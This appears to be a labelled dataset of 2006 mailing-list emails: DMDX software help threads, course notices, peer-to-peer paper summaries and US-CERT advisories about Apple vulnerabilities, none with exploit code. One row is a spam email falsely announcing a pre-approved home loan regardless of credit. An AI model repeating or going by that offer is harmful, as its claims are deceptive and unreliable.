Eclipse attacks were discussed and dwells into the impact on Pastry CAN, Chord and Tapestry and proposes a secure routing protocol that is based on sending multiple messages and in triggering failures in the routes where the messages timed out without a response and is based on the assumption that the average density of the good nodes is more than that of faulty nodes. ",0,0 """Teodor Petric, Gmail"" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 May 2006 11:17:56 +0200",[DMDX] Randomize picture selection,"Hi Jonathan, is there a way to select pictures stored in the same directory as the RTF file RANDOMLY ? Example: I have got 180 pictures stored in the same directory as the RTF file. But I want DMDX to select only 30 pictures without the need to write the exact names of the pictures in the RTF file. Is it possible to use a variable instead of a char name in quotation marks ? Or is there some other way to have this done ? Is there any example how to do this so tha I could learn from it ? With best wishes Teodor (University of Maribor, Slovenia) +1 * ""Ig001"" ; +2 * ""Ig006"" ; +3 * ""Ig011"" ; ... +29 * ""Ig145"" ; +30 * ""Ig150"" ;",0,0 Carmela Paige ,DMDX@psy1.psych.arizona.edu,"Thu, 11 May 2006 21:00:37 -0600",Yours loan is approved 6jzs,"Dear Homeowner, DMDX@psy1.psych.arizona.edu http://lowlow1refinance.com You have been approved for a $ 576,477 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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Michael Davis Fayetteville Public Schools Network and Systems Administrator / Special Projects mdavis@fayar.net 479-973-8695 Office 479-435-0301 Cell,0,0 Bruce Hobbs ,CommuniGate Pro Discussions ,"Fri, 12 May 2006 15:02:01 -0400",Re: OT: anti spam with grey listing and av...,"Is this the same Heinz that makes ketchup in the U.S.? Bruce On 5/12/06, Communigate Forum wrote: > believe me bruce this is no joking matter! > > hp is an institution and the swine at heinz need to learn they can't > mess with 130 year old traditions.. > > don't forget to log on and sign that petition.. > > rup ;-) > > Bruce Hobbs wrote: > > I didn't know Hewlett-Packard made brown sauce. (Sorry for the bad > > joke but it's Friday.) > > > > We had a similar crises when they stopped making Frango mints in Chicago. > > > > Bruce > > > > On 5/11/06, Communigate Forum wrote: > >> hi, > >> > >> i promise this is not a commercial, but a heads up for a very good > >> product! > >> > >> anyone looking for a very effective solution to spam and virus content > >> should have a look at: > >> > >> http://www.antibodymx.net/ > >> > >> we've used a pair for the last 18 months as our smtp receivers and have > >> had excellent results, i mention them now as they have added grey > >> listing which i think may be of interest to you chaps.. > >> > >> hope this proves helpful to someone!! > >> > >> rup > >> > >> ps. for all those in the uk please log on to: > >> http://www.brownsauce.org/petition to save hp sauce production being > >> moved to holland (no offence to our dutch friends) a 130 year old > >> british tradition needs help!",0,1 """Should B. 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After the 30th test item, you include the following: $0 ; The very last item in the item file should be: $1000 ""That's the end."";$ The branch instruction tells DMDX to ignore all items up until 1000. The importance of specifying the number of items is that it allows you to save the data (although this may no longer be necessary -- I haven't checked). --k.i.f.",0,0 Bill Mark ,cs395t-mark@cs.utexas.edu,"Fri, 12 May 2006 14:33:12 -0500",FGP - final projects are graded,"Hi FGP seminar, I've graded the final projects. You can pick them up from my assistant, Amy Levin, in ACES 3.112. Her hours are normally 9:00am to 3:30pm, with a half-hour off sometime around lunch. For most of you, your grade in the class is the same as your grade on the final project, but for a couple of people it is off by a 1/3 grade due to adjustment for class writeups. You can check your class grades using the normal online system as soon as it makes them available. I've already entered them. Thanks again to all of you for making this a great seminar. Bill ",0,0 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Fri, 12 May 2006 16:55:26 -0400",US-CERT Technical Cyber Security Alert TA06-132A -- Apple Mac Products Affected by Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-132A Apple Mac Products Affected by Multiple Vulnerabilities Original release date: May 12, 2006 Last revised: -- Source: US-CERT Systems Affected * Apple Mac OS X version 10.3.9 (Panther) and version 10.4.6 (Tiger) * Apple Mac OS X Server version 10.3.9 and version 10.4.6 * Apple Safari web browser * Apple Mail Previous versions of Mac OS X may also be affected. Please see Apple Security Update 2006-003 for further information. Overview Apple has released Security Update 2006-003 to correct multiple vulnerabilities affecting Mac OS X, Mac OS X Server, Safari web browser, Mail, and other products. The most serious of these vulnerabilities may allow a remote attacker to execute arbitrary code. Impacts of other vulnerabilities include bypassing security restrictions and denial of service. I. Description Apple Security Update 2006-003 resolves a number of vulnerabilities affecting Mac OS X, OS X Server, Safari web browser, Mail, and other products. Further details are available in the individual Vulnerability Notes. II. Impact The impacts of these vulnerabilities vary. For information about specific impacts, please see the Vulnerability Notes. Potential consequences include remote execution of arbitrary code or commands, bypass of security restrictions, and denial of service. III. Solution Install an update Install Apple Security Update 2006-003. This and other updates are available via Apple Update. Disable ""Open 'safe' files after downloading"" For additional protection, disable the option to ""Open 'safe' files after downloading,"" as specified in ""Securing Your Web Browser."" Appendix A. References * Securing Your Web Browser - * Apple Security Update 2006-003 - * Mac OS X: Updating your software - ____________________________________________________________________ These vulnerabilities were reported in Apple Security Update 2006-003. Please see the Vulnerability Notes for individual reporter acknowledgements. ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-132A Feedback VU#519473"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 12, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRGTxnX0pj593lg50AQKebgf+PTa7qCt6QQRcXGlJ3vjPFOdO1VNRMGr8 WOP8JKHbCK93O3E6YtHJ3nQTJBfyq169TQijWvoWvjjXM603DojGXUXgTBZFhTSG c4L0jE2+nD3273nZXGPreFJAsPxK6me7d4Of/KQ/prJnUfrnWNxfrP90CmXRKNLD +4eC4BEjNXCqpb0ki62WQM7NED6IgfgNZWfO7faTSRYNRdEyLAgetQxZVm5eepyK BJO3rRBBRkOIkIIG5o/J5ViqgiuUP75N37QqTc7BtyzQR2OeWepytJvkMvJUBVAG r0fLUKvhT4wdHxsNGVGCxLNf3NHG1UuWNO3UZ9MeBmREdmeT+K0l9A== =cabu -----END PGP SIGNATURE-----",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 May 2006 15:46:49 -0700",[DMDX] Re: configuration of IO card,"At 05:35 PM 5/11/2006 -0500, you wrote: >Hi Jonathan, >I am hoping you might consider (with my sponsorship if needed) an >additional method to set up the IO card. I am running an experiment >that needs 18 output lines (8 for sending a trigger code to a physio >amp and 10 for controlling a shock generator) along with 2 input lines >(for two buttons). I know that it is possible to split the C port >into C-upper and C-lower (two four bit ""sub""-port). At a minimum, >would it be possible to provide a queued device that configures A, B >and C-lower for output and C-upper for input. (control port >configured as 136 DEC; from page 12 of the measurement computing >docs). Faintly possible. It breaks a long standing if somewhat redundant DMastr convention where there are actually five input lines. And I seem to recall one of the new PIO cards not supporting the split C port but I could be wrong there. >Even more flexible would be if you would provide a command that could >be inserted into the header to send any of the available configuration >codes to the control port when initializing the IO card. That would >allow anyone to set up the card for all the various combo that are >available. Not going to happen, there are no control codes with the modern cards. >An added benefit of this would be that C could be then used regularly >for input rather than output. You might remember an earlier email I >sent to the list about problems with the way that the C port handles >output. It appears that the lower and upper subport on C are not >perfectly in synch. Depends on the I/O card, some of them require two commands to write to the separate halves of the port and there's no way to synchronously set them. The usual solution is to use the 16 bit output device and only use the high word which is the B port that is synchronous. > B/c of this we get (very infrequent) errors when >using all 8 bits of C to either send triggers (we sometimes get >triggers that only include 4 of the 8 bits) or to control other >devices (our shock generator infrequently reads the C port incorrectly >and administers shock intensities that only represent 4 of the 8 bits >on C used to indicate intensity). > >Is this possible and are you willing to make either of these changes? You would need to sponsor it and it's a non-trivial amount of work. The code is trivial but there are a large number of places that will need editing. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wiker's Law: Government expands to absorb revenue and then some. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 12 May 2006 15:51:35 -0700",[DMDX] Re: RE: Randomize picture selection,"At 01:09 PM 5/12/2006 -0700, you wrote: Very good. I was going to suggest checking a counter combined with scrambling but Ken's solution is better. But you'll want another dollar here: >$0 ;$ >The branch instruction tells DMDX to ignore all items up until 1000. The >importance of specifying the number of items is that it allows you to save >the data (although this may no longer be necessary -- I haven't checked). It isn't. Once DMDX hits a last frame option or the end of the file it will allow saving of data. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wiker's Law: Government expands to absorb revenue and then some.",0,0 US-CERT Alerts ,alerts@us-cert.gov,"Fri, 12 May 2006 17:01:23 -0400",US-CERT Cyber Security Alert SA06-132A -- Apple Mac Products Affected by Multiple Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-132A Apple Mac Products Affected by Multiple Vulnerabilities Original release date: May 12, 2006 Last revised -- Source: US-CERT Systems Affected * Apple Mac OS X version 10.3.9 (Panther) and version 10.4.5 (Tiger) * Apple Safari web browser * Apple Mail Previous versions of Mac OS X may also be affected. Overview Mac OS X, Safari web browser, Mail, and other products are affected by multiple vulnerabilites. Apple has released Security Update 2006-003 to address these vulnerabilities, the most serious of which may allow a remote attacker to place and run malicious code on your computer. Solution Install an Update Install Apple Security Update 2006-003 through Apple Update. Disable ""Open 'safe' files after downloading"" For additional protection, disable the option to ""Open 'safe' files after downloading,"" as specified in ""Securing Your Web Browser."" Description Mac OS X, Safari web browser, Mail, and other products are affected by multiple vulnerabilities. Some of these vulnerabilities could allow an attacker to run malicious programs on your computer. For more technical information, see US-CERT Technical Alert TA06-132A. References * US-CERT Technical Cyber Security Alert TA06-132A - * Securing Your Web Browser - * Apple Security Update 2006-003 - * Mac OS X: Updating your software - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""SA06-132A Feedback VU#519473"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Aug 12, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRGTzB30pj593lg50AQJ81ggAv+M9+EFOwNt9RaWZJMlNzGqNMyn3L4mD PXEmthQdQThCs5icMKqIZXUrFAR21/dY9T2rzKnpA9W90NHgoL5QWsTGjl1x0du6 6qLxOFOlivoWO/ZfK4Ih+QSYYI2YYaUPcxzKPktcZE75tVoeXKFvWHOyotiVO7f4 3ugHGPAFLP9uOGNKLlnCJ5HO0obv6+O7WeqIt5njhH5kQ7nLvaJ1U0PzVAW5ovNR ddoIBWn95kPruigbmez6e5ncb1GJUJt5SVgAdhnFE1E3y+VEM+rw9TRqPvuq+yeJ hcE+S64CmyoqReu73pmZcIaxA6hvJ9Lnm8mXtaUMQr+dxP3xDINCyw== =0sW0 -----END PGP SIGNATURE-----",0,1 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Fri, 12 May 2006 16:36:41 -0500",grades,"CS352-ers, We have uploaded the final-exam scores and are still in the process of grading the projects. I expect to have project grades and final course grades posted by Tuesday of next week. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Fri, 12 May 2006 17:21:59 -0400",US-CERT Technical Cyber Security Alert TA06-132B -- Apple QuickTime Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-132B Apple QuickTime Vulnerabilities Original release date: May 12, 2006 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime on systems running * Apple Mac OS X * Microsoft Windows Overview Apple QuickTime contains multiple vulnerabilities. Exploitation of these vulnerabilities could allow a remote attacker to execute arbitrary code or cause a denial-of-service condition. I. Description Apple QuickTime 7.1 resolves multiple vulnerabilities in the way different types of image and media files are handled. An attacker could exploit these vulnerabilities by convincing a user to access a specially crafted image or media file with a vulnerable version of QuickTime. Since QuickTime configures most web browsers to handle QuickTime media files, an attacker could exploit these vulnerabilities using a web page. For more information, please refer to the Vulnerability Notes. II. Impact The impacts of these vulnerabilities could allow an remote, unauthenticated attacker to execute arbitrary code or commands, and cause a denial-of-service condition. For further information, please see the Vulnerability Notes. III. Solution Upgrade Upgrade to QuickTime 7.1. This and other updates for Mac OS X are available via Apple Update. Disable QuickTime in your web browser An attacker may be able to exploit this vulnerability by persuading a user to access a specially crafted file with a web browser. Disabling QuickTime in your web browser will defend against this attack vector. For more information, refer to the Securing Your Web Browser document. Appendix A. References * Vulnerability Notes for QuickTime 7.1 - * Securing Your Web Browser - * About the security content of the QuickTime 7.1 Update - * Apple QuickTime 7.1 - * Standalone Apple QuickTime Player - * Mac OS X: Updating your software - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-132B Feedback VU#289705"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History May 12, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBRGT7JH0pj593lg50AQI2Uwf/U3zGDrR8UkWK4ry6AYMS7HPMdbiF6Vmo 9gP9Luc6Kj8zzxCWhnNKNzEq2P0B1oD03WcPFaIPnwvQJGApeUDRimyhQj8RDjME yAUt/reWG7RZ0Z2w/qaiZP7pQ7SjyIUKkN2OCG8LMmGKqsiCdFXoss/Bu0yFMH11 uvgwibfvkOdRLAPmRTVWk+gJEAdw3xFySm9r92qmig6CxKi7GAIpi9Gf7MXcRsKg oG3y5f06Kiq8ACYszPKneHE7WNvLP1ewuaWmf7PHiNebAB+W5hfwA2yEh6e6PSV2 eBi5cpigfXBrsjXk4L7wYrD8UcRl7nN8iqzWpMwYJkSloUmcYL1BBg== =LsFu -----END PGP SIGNATURE-----",0,1 US-CERT Alerts ,alerts@us-cert.gov,"Fri, 12 May 2006 17:39:01 -0400",US-CERT Cyber Security Alert SA06-132B -- Apple QuickTime Vulnerabilities ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-132B Apple QuickTime Vulnerabilities Original release date: May 12, 2006 Last revised: -- Source: US-CERT Systems Affected Apple QuickTime for * Apple Mac OS X * Microsoft Windows Overview Apple has released Apple QuickTime 7.1 to correct several vulnerabilities. These vulnerabilities could allow an attacker to gain access to your computer. Solution Install an Update OS X users should use the Mac OS X Software Update feature to download and install Apple QuickTime 7.1. Consider scheduling Software Update to check for updates automatically (this option is enabled by default). Microsoft Windows users should upgrade to Apple QuickTime 7.1. Description QuickTime prior to version 7.1 has multiple image and media file handling vulnerabilities that could allow an attacker to run malicious programs on your computer. This could happen by visiting a malicious web site. Upgrading to Apple QuickTime version 7.1 will correct these vulnerabilities. For more technical information, see US-CERT Technical Alert TA06-132B and the Apple QuickTime Security Update. References * US-CERT Technical Alert TA06-132B - * Securing Your Web Browser - * Vulnerability Notes for QuickTime 7.1 - * About the security content of the QuickTime 7.1 Update - * Apple QuickTime 7.1 - * Standalone Apple QuickTime Player - * Mac OS X: Updating your software - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-132B Feedback VU#289705"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. 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",DMDX@psy1.psych.arizona.edu,"Fri, 12 May 2006 17:22:47 -0700",[DMDX] Re: RE: Randomize picture selection,"Or that 30th test item could be: $0 ""That's the end."" ;$ Even though there would be items after it the last frame option forces DMDX to stop. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wiker's Law: Government expands to absorb revenue and then some.",0,0 John Curtin ,DMDX@psy1.psych.arizona.edu,"Fri, 12 May 2006 19:35:27 -0500",[DMDX] Re: configuration of IO card,"> Depends on the I/O card, some of them require two commands to write to > the separate halves of the port and there's no way to synchronously set > them. The usual solution is to use the 16 bit output device and only use > the high word which is the B port that is synchronous. That definitely seems to be the case with the Measurement computing pio/dio24. The option to just use the high word on port B doesnt solve our problem b/c we use all 8 bits on port B and on port c to control two separate devices. Whichever device is controlled by port C ends up having trouble with the two nibbles not being set at the exactly same time. If you are willing to break with the 5 input line tradition and provide a device that uses A, B and C-Low for output and C-High for input, I will definitely buy you something nice! Can we talk more off the list? J -- John J. Curtin, Ph.D. Associate Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Website: http://dionysus.psych.wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029 ",0,1 Amy Cole ,CGatePro@mail.stalker.com,"Fri, 12 May 2006 19:57:04 +0000","2006 Global Digital Media - Convergence, Triple Play and IPTV","I enclose details of our latest Global Digital Media Report. Annual report on: Digital TV, iTV, broadband TV, IPTV, VoiP, cable TV, pay TV, VoD, media centres, FttH, convergence, DVR, PVR, branding, customer service, permission based marketing, regional overviews: Europe, USA, Asia, Canada, Australia, New Zealand. Report also contains: Triple Play business Models Branding, Customer Services, Marketing Strategies Bundling voice, broadband and video services Digital, Interactive, IPTV and Mobile TV Key Trends , Developments and Analyses Technologies and Services Regional Overview The media market is on the verge of massive changes. With the convergence of telecoms, media and IT, we see the arrival of Digital Media. DSL and cable based-broadband networks are rapidly moving into triple play models, delivering voice, data and video services. Broadband TV (IPTV), Digital and Personal Video Recorders (DVR or PVR) and Video-on-Demand (VoD), are a few of the prominent services which promise fresh opportunities for emerging digital media companies. This report examines the global Digital Media market, including in-depth analyses of the market and the various trends and developments. It also examines the Triple Play business models, convergence, media centres for the digital home and the content and media markets. It includes market overviews and statistics for Digital pay TV, Digital terrestrial TV, Interactive TV, Broadband TV, Mobile TV, DVR/PVRs, and HDTV and datacasting. Key Highlights: - The media market is on the verge of massive changes driven by new developments in broadband technology and consumer electronics. - The consumer electronics market is pushing for changes driven by plasma screens and DVRs; thus increasing market demand for more and better entertainment services. This industry will continue to profit from new developments in 2006. - The cable industry is another access technology in the converging markets of telecommunications, broadcasting, Internet and e-commerce. - New digital-based broadcasters are rapidly moving into the areas of broadband and telecommunications. Broadband TV (IPTV) could double the amount of revenue from the top 25% users of high speed broadband. - By 2008, we expect video streaming technology to be mainstream and fully integrated into any broadband service. - Changes in the telecommunication and media markets are being forced upon the industry by the new emerging Internet companies such as Google, eBay/Skype, Yahoo!, Vonage, AOL, MSN, News Ltd and Amazon. They are breaking down the old business models in the industry which are mainly built around monopolistic market structures. At the heart of a digital home is the technical concept known as the Media Centre. By 2015 90% of all households in the developed market will have a home media centre. Cable TV operators, telcos, consumer electronics and IT companies are all vying for the Media Centre business. Progress in this market will continue to evolve with more mass market developments expected from 2008 onwards. - Despite some governments mandating digital TV in its various forms, there is little evidence of a rush by consumers to buy it. Instead they are more interested in new services such as provided by Internet, online services, pay-per-view and on-demand services. - Cable and satellite TV services are rapidly becoming digital. Digital Terrestrial TV has been slower to make progress due to a lack of global standards. - In 2005, we estimate there were around 350 million cable TV subscriber households worldwide. - Video-based services on broadband and interactive digital TV networks are becoming whole new areas for advertising opportunities. Personalised media and one-to-one communication will be the predominant advertising mode using Digital Media. We expect the global market for VoD to grow to over 350 million households by 2010. SMS took the world by surprise and Mobile TV is following in its footsteps It combines two of the most widespread communication media. It is becoming available in selected markets during 2006 and will reach mass market by 2008. - The development of broadband has seen the implementation of interactive TV initiatives. The UK is a leader in this market, with the BBC arguably the best iTV broadcaster in the world. We predict that interactive TV and other enhanced television products will generate billions of dollars in advertising and commerce worldwide. Nextgen DSL based broadband networks based on IP are now rapidly moving into triple play business models, delivering voice, data and video services; DSL TV is one of the new emerging disruptive technologies. - In a converged telecommunication and media environment, the focus will move toward content and applications, and this will require a change in marketing strategies. Telcos, ISPs and BSPs must move on from their techno driven approach. - Branding has always been an essential element of the industry's marketing strategies, and this needs to be linked to a value proposition. - For those needing high level strategic information and objective analysis, this report is essential reading. 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Best Regards, Amy Cole Senior Manager Research and Markets Ltd amy.cole@researchandmarkets.com Subscribe: Click on http://www.researchandmarkets.com/register.asp You can subscribe free for regular details on new research in your sector. Please note you are currently subscribed as CGatePro@mail.stalker.com If you no longer wish to receive our market research updates, please reply to this message with Suppression Request as the subject line, or use the link below http://www.researchandmarkets.com/unsubscribe.asp?functionx=unsubscribe&email=elise@mail.stalker.com ",1,1 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Fri, 12 May 2006 21:37:58 -0400",PAPER 9,"Measurements Study of peer to Peer file sharing Systems In This paper the authors analyze two Peer-to-Peer networks Napster and Gnutella and do detailed measurements on the bandwidths and the number of files shared and also on the latencies between hosts. Also the number of nodes that shows a lower upload speed is also studied. The bottleneck bandwidth that does not only depend on the upload speed of the node but also depends on the bandwidth of the routing path and so affects the bandwidth measurements. Also it was observed that 25% of the nodes did not choose to report their bandwidth and this is attributed to the lack of a penalizing mechanism for providing low upload speeds. Also the observations show that both Napster and Gnutella networks show highly similar percentage distribution of bandwidth for their hosts though Gnutella nodes have in general more bandwidth than those of Napster because 50% of users in Napster and 60% of users in Gnutella use broadband connections. Also the study shows the number of nodes required to break down the Gnutella network and how the network responds under attack. It was observed that for a node degree of 20, 60% of the nodes would need to be taken down for the overlay to be fragmented. Another interesting take from this paper is the skew shown in Napster downloads where though low bandwidth nodes have higher percentage of downloads than their actual participation in the network showing that high bandwidth nodes provide much the download bandwidth for downloading content. Measurement, Modeling, and Analysis of a Peer-to-Peer File-Sharing Workload In this paper the authors analyze the Kazaa network for effect of file sharing workloads and the effect of system parameters and the impact of locality awareness in Kazaa. The most important observation is made on the behavior of users who show patience for long downloads spanning days due to the slow nature of the network. Also the authors show that the popularity of objects have a short lifespan and the popularity keeps on transferring to new objects introduced into the system. Thus the users responses to the Kazaa network is widely different from the Internet where spontaneous responses are expected as compared to the Kazaa network. Also it was observed in the study that larger objects tend to age faster than smaller objects and arrival of newer objects play an important role in peer-to-peer systems as does newer content play an important role in the dynamics of the web and performance in the file sharing systems decrease over time in the absence of introduction of newer objects. Another interesting observation made by the author is that Kazaa does not follow Zip’s distribution. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Fri, 12 May 2006 23:55:19 -0400",PAPER 19,"Overcast: Overcast is a collection of nodes paced at strategic locations in a per to peer network to implement an abstraction over the existing network to provide a reliable and adaptable routing mechanism where the system’s functionality can be provided on an incremental basis. It attempts to reduce bandwidth requirements by replication. Overcast attempts to reduce the sending of same data over the same network multiple times to reduce the bandwidth requirements for multicast systems especially for broadcasting mediums for broadcasting large video files. Overcast builds distribution trees that to create high bandwidth channels from the source node to all nodes by building an adaptable distribution tree with a single root. When a user requests a particular video file that would be advertised at a common source such as a web page the requests gets redirected to a node that is at a close proximity and content is served from that node. However the system does not implement a breakup of the contents of the video file across servers but merely replicates the file. Thus if a particular node gets choked due to a sudden increase in requests from a region the system would be slow to react to the change and could fail. This implementation also assumes that the organization distributing networks would have its own set of nodes spread across the regions it provides service to. In other words it is more of a distributed load balancing protocol where each server handles the complete service for one particular request for a file. This paper really handles issues more with content distribution for service providers rather than for peer-to-peer systems since any node on a public network that is made into a distribution node just because it has a high bandwidth would resist the usage and would limit the applicability. This system does not utilize it resources properly because of the tree architecture and in the authors own words “If a child fails to contact its parents within a preset interval, the parent will assume the child and all of its descendants have died”. So if a set of immediate child nodes leaves he system the whole network would just disappear for that content being distributed. The authors claim that they chose the parents not to initiate contact with their children to enable it to cross firewalls easily. The author has not looked into other topologies such as a grid or a multi ring topology that are more stable to nodes being pulled out of the network. Finally the authors uses certificates for authenticity and availability of the child nodes but fails to consider the effect of a malignant node which might modify the contents of the file. Thus this application is limited to private networks whose nodes are spread across the Internet. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Sat, 13 May 2006 01:10:43 -0400",PAPER 13,"Resilient Overlay Networks: A Resilient Overlay Network (RON) is an architecture that allows distributed applications across a network to detect and recover from path outages and choose optimal paths for routing and redirect in case of path outage and provide a path for communication when the underlying network has problems in routing. RON nodes maintain and exchange information regarding the existing routing and network status between other RON nodes and uses this information to build forwarding table for routing packets based on the path metrics that would include latency, packet loss and the current available throughput. Each RON node periodically assimilates path metrics from its neighbors and in case of outages transmits the information to other RON nodes. Thus the protocol maintains performance metrics on itself and also at the same time ensures that all RON nodes have compete information unless they are isolated from the RON network. RON networks however do not try to find the optimal routing path for maximum throughput but instead strives to avoid paths that have a low throughput. Thus the system is subject to selfish routing and would cause fluctuations in network usages based on throughput. Instead if the system were to also try to establish Nash Equilibrium in the network routes, it would lead to a more stable routing protocol where a taxation policy based on a utility function can be used to ensure that the system converges to an optimal equilibrium. One Hop Routing In this paper the authors discuss a routing protocol where the optimal route is discovered by sending packets across a set of randomly chosen intermediate nodes and claims that performance matches those obtained by using path monitoring performance metrics on the network. It is based on detection of path failures that results in a corrective action based on rerouting it through an alternate route. This result in polices being formulated at the level of intermediary nodes and whenever a failed node is detected also a resulting optimal path is also chosen and also by selecting more than one random intermediate node the selection of bad re-routes are avoided. ",0,0 dart@MIT.EDU,","Sat, 13 May 2006 09:09:54 -0400","Case 1041629: Hey buddy, whats up","Thank you for your message! This is an automated confirmation that we have received your request and assigned it case number 1041629 in our tracking system. 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",DMDX@psy1.psych.arizona.edu,"Sat, 13 May 2006 17:49:41 -0700",[DMDX] Re: configuration of IO card,"At 07:35 PM 5/12/2006 -0500, you wrote: >If you are willing to break with the 5 input line tradition and >provide a device that uses A, B and C-Low for output and C-High for >input, I will definitely buy you something nice! Yeah, a solution I'd rather implement but that is more complicated is to allow multiple output devices. I've thought about it before and rejected it out of hand as too much work and was thinking about at again after your inquiry and it's still a mess I don't immediately see how to solve. But it would be a more general purpose thing than rearranging output ports. If this isn't attractive to you or wouldn't work let me know. Another solution that crosses my mind is to use pio12output24 and use port A for one of your devices and B for the other and then to hack up a USB gamepad for response buttons. > Can we talk more off >the list? Once we get down to haggling, yes ;) /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wiker's Law: Government expands to absorb revenue and then some. ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Sat, 13 May 2006 19:14:52 -0400",PAPER 22,"Implementing Declarative Overlays In this paper the authors presents a declarative logical language P2 that can be used to express the overlay networks and can be used to implement them. Applications would submit to P2 a logical description of an overlay network and P2 would generate the code needed to maintain all the data structures associated with the network including routing tables and perform resource discovery and forwarding features to the overall. The authors claim that since the system is based on logical units it can be broken down into smaller units and can be reused for coding in the future. The advantage of this system it is felt would only be in the ease of writing a simple system and its contribution to an actual futuristic peer-to-peer system would be minimal in terms of performance. This system like Macedon discussed below are good for prototyping simple systems. Also it seems rather naïve to implement the system as a platform instead of it as a library that would have helped in integrating it with other systems and would have also helped others in developing extensions to the system. This system models a lot on database query languages and though it is a promising area the amount of support work done for the P2 system only involves the implementation of Chord and it is assumed that other systems can be similarly developed. The comparison chart with Chord also happens to be for only 400 nodes and that is too minimal a node population to provide for any significant results. Macedon Macedon provides a domain specific language for abstracting the high level behavior of overlays and DHT’s for peer to peer systems and is implemented on a wider range of systems and provides also a C++ language generated code and though the code generated would be harder to walk through make changes and would involve a substantial learning curve, it could be used to generate the basic peer to peer functionalities and then the generated code could be modified to tune the code for specific needs. This system serves as an API over the network substrate and could be modified to provide a library of API. However any specific changes to the network protocols would involve as said earlier a substantial effort though it could be added on as extensions to the existing code and would be great for running simulations. Developing languages for peer-to-peer system development is a great idea though the focus should be more on development of libraries rather than languages. The Macedon API can be made on to run on existing overlays and can be used for enhancements as shown in the Macedon protocol stack and this serves a major development for peer-to-peer application development. Another feature of Macedon is the inclusion of locking mechanisms that could be used to provide a higher level of multithreading use and it could be extended to provide for callback functions that could allow for more specific implementation of locking mechanisms if required by certain application developers. However both these systems though being a major step in the development of Peer-to-Peer system languages it still represents a process in its infancy. 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The 74xx154 4-to-16 line decoder/multiplexer for example (http://www.semiconductors.philips.com/acrobat_download/datasheets/74HC_HCT154_5.pdf) You feed the chip a 4 bit address (a nibble) like this: for example: input output ----------------------------------------- A0 A1 A2 A3 L L L L line 1 goes low H L L L line 2 goes low You need 18 outputs, so you could use 2 74xx154 chips and 6 PIO outputs for addressing them. Note that with the 4-to-16 line decoders, only one output line can be active at a time. If you needed to activate more than one trigger simultaneously to the shock generator, for example, you could use a chip like the 74xx4511 BCD to 7-segment latch/decoder/driver. (http://www.standardics.philips.com/products/hc/pdf/74hc4511.pdf) These are tinker toys - any electronic technician/engineer should be able to help you should you be interested in this type option. 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I've thought about it before and rejected > it out of hand as too much work and was thinking about at again after your > inquiry and it's still a mess I don't immediately see how to solve. But it > would be a more general purpose thing than rearranging output ports. If > this isn't attractive to you or wouldn't work let me know. > > Another solution that crosses my mind is to use pio12output24 and use > port A for one of your devices and B for the other and then to hack up a > USB gamepad for response buttons. > > > Can we talk more off > >the list? > > Once we get down to haggling, yes ;) > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > Wiker's Law: > Government expands to absorb revenue and then some. > > > ==================================================================== > Send 